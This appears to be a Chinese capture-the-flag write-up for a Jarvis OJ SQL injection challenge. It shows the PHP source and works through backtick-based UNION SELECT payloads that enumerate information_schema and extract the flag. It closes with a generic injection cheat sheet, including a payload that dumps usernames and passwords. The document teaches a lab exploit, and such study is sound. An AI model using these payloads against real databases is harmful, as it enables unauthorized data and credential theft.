http://web.jarvisoj.com:32794/index.php~
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
?table=flag 正常响应 ==> 存在 secret_flag 表 注意到这个反引号 ``,其作用是区分 MySQL 保留字与普通字符
本地尝试
create table desc # 报错
create table `desc` # 能成功执行
desc `abc` `def`
desc abc def
# 效果是一样的
结合题目 ==> desc `secret_flag` ` (注意空格,此处如果是 desc `secret_flag`` 将被认为是执行 desc secret_flag`)
顺手执行
?table=flag`%20`%20union%20select%201
发现还是没有变化,依旧显示 flag{xxx} 不要灰心,这只显示了一条数据而已,加入 limit 试试
?table=flag`%20`%20union%20select%201%20limit%201,1
==> 1
?table=flag`%20`%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20
where%20table_name=0x7365637265745f666c6167%20limit%201,1
==> flagUwillNeverKnow
(如果 “
被过滤,此处 table_name 的值要进行 hex 编码)
table=flag`%20`%20union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1
PS:也可以不用 limit,直接 where 0,使得前面的查询为空,则直接显示我们的数据 table=flag
%20
%20where%200%20union%20select%20flagUwillNeverKnow%20from%20secret_flag
information_schema 存储数据库信息的数据库
数据库名 schemata => schema_name tables => table_schema columns => table_schema 表名 tables => table_name columns => table_name 列名 columns => columns_name
-- 获取当前数据库中所有表
select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
-- 获得所有列名(字段)
select 1,group_concat(column_name) from information_schema.columns where table_name="flag";
-- 下载数据
-1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
-- 获取表中的字段名
-1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有